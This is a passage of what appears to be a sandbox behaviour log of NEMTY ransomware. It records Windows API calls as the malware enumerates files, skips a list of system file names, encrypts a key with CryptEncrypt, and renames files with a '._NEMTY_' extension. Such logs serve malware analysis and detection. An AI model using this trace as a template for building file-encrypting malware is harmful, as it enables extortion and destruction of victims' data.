(normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png._nemty_kgobjgd_")) returned 0 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0062.625] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0062.625] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0062.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0062.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943b0 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0062.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0062.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0062.626] Sleep (dwMilliseconds=0x5) [0062.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8fa7550, dwHighDateTime=0x1d561e7)) [0062.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8fa7550, dwHighDateTime=0x1d561e7)) [0062.632] GetLastError () returned 0x5 [0062.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.632] GetLastError () returned 0x5 [0062.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.632] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0062.632] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="2J+akaAz4fXlrBQuoD8wU/EKIXAVmf46LNQ0O2ExKy/ADxk/b13U7A8JZZQgX8NG\r\nW4j+tznolVW4fJqj4uOqQ3BUOoOo4YC2TJyPpg10Boky3aYsYYATFOCfuAHVe3XV\r\nU2vg7SbvUg+6dX84VqUIQpC0cUdDJEkSaFbTLrzNeH93zWII2Y7wE1onl03fnHhf\r\npIPisDckrzv6ILkWK/k7s/eDHJYlZSfeZKDFjaZYLqlh+/E1w82951GEIEbluGkj\r\nuJudZiAc9uvrTffO2Feoe5TLq7whJ5YzugJnggvw+vLh8eh/BsfWpnZCg/P2iEaQ\r\nWkdji/JSQw56hXKGpfMx1Q==\r\n", pcchString=0x653e91c) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0062.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.633] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.642] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.750] CloseHandle (hObject=0xffffffff) returned 0 [0062.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0062.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0062.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.750] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0062.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0062.751] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0062.751] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0062.751] 